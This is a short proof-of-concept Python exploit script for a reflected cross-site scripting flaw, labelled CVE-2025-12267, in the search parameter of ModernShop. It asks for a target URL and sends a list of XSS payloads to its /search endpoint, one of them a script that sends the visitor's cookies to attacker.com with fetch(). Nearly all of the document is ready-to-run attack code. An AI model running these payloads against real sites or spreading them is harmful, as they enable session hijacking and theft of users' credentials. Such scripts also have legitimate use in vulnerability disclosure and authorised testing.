CVE-2025-12267 abhicodebox ModernShop 搜索参数XSS漏洞

import requests # CVE-2025-12267 PoC - ModernShop XSS in /search endpoint # Target: abhicodebox ModernShop 20250922 # Vulnerability: Reflected XSS via q parameter target_url = input("Enter target URL (e.g., http://target.com): ").rstrip('/') search_endpoint = f"{target_url}/search" # XSS payload - steals cookies xss_payload = "<script>fetch('https://attacker.com/log?c='+document.cookie)</script>" # Alternative payloads xss_payloads = [ "<script>alert(document.domain)</script>", "<img src=x onerror=alert(document.cookie)>", "<svg onload=alert(document.cookie)>", xss_payload ] print(f"[*] Target: {search_endpoint}") print(f"[*] Testing {len(xss_payloads)} XSS payloads...\n") for i, payload in enumerate(xss_payloads, 1): params = {"q": payload} try: response = requests.get(search_endpoint, params=params, timeout=10) if payload in response.text: print(f"[+] Payload {i} reflected in response - VULNERABLE!") print(f" URL: {response.url}") else: print(f"[-] Payload {i} not reflected") except requests.RequestException as e: print(f"[!] Request failed: {e}") print("\n[*] Manual verification: Copy the generated URL and open in browser")